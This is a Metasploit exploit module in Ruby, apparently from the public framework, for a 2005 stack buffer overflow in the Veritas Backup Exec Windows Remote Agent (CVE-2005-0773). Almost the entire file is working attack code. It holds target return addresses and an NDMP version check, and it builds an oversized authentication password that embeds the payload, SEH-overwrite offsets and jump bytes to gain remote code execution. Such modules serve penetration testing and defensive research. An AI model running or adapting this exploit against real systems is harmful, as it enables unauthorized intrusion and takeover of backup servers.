##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::NDMP

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the Veritas
          BackupExec Windows Agent software. This vulnerability occurs
          when a client authentication request is received with type
          '3' and a long password argument. Reliable execution is
          obtained by abusing the stack buffer overflow to smash a SEH
          pointer.
        },
        'Author' => [ 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-0773'],
          [ 'OSVDB', '17624'],
          [ 'BID', '14022'],
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities']
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500
        },
        'Targets' => [
          [
            'Veritas BE 9.0/9.1/10.0 (All Windows)',
            {
              'Platform' => 'win',
              'Rets' => [ 0x0140f8d5, 0x014261b0 ]
            },
          ],
          [
            'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
            {
              'Platform' => 'win',
              'Rets' => [ 0x75022ac4, 0x75022ac4 ]
            },
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2005-06-22',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(10000)
      ]
    )
  end

  def check
    info = ndmp_info
    if (info and info['Version'])
      vprint_status(" Vendor: #{info['Vendor']}")
      vprint_status("Product: #{info['Product']}")
      vprint_status("Version: #{info['Version']}")

      if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
        return Exploit::CheckCode::Appears("VERITAS Backup Exec version #{info['Version']} detected")
      end
    end
    return Exploit::CheckCode::Safe('VERITAS Backup Exec vulnerable version not detected')
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    ndmp_recv

    username = 'X' * 512
    password = rand_text_alphanumeric(8192)

    # Place our payload early in the request and jump backwards into it
    password[3536 - payload.encoded.length, payload.encoded.length] = payload.encoded

    # This offset is required for version 10.0
    password[3536, 2] = "\xeb\x06"
    password[3540, 4] = [ target['Rets'][1] ].pack('V')
    password[3544, 5] = "\xe9" + [-1037].pack('V')

    # This offset is required for version 9.0/9.1
    password[4524, 2] = "\xeb\x06"
    password[4528, 4] = [ target['Rets'][0] ].pack('V')
    password[4532, 5] = "\xe9" + [-2025].pack('V')

    # Create the authentication request
    auth = [
      1, # Sequence number
      Time.now.to_i,   # Current time
      0,               # Message type (request)
      0x901,           # Message name (connect_client_auth)
      0,               # Reply sequence number
      0,               # Error status
      3                # Authentication type
    ].pack('NNNNNNN') +
           [ username.length ].pack('N') + username +
           [ password.length ].pack('N') + password +
           [ 4 ].pack('N')

    print_status('Sending authentication request...')
    ndmp_send(auth)

    # Attempt to read a reply (this should fail)
    ndmp_recv

    handler
    disconnect
  end
end
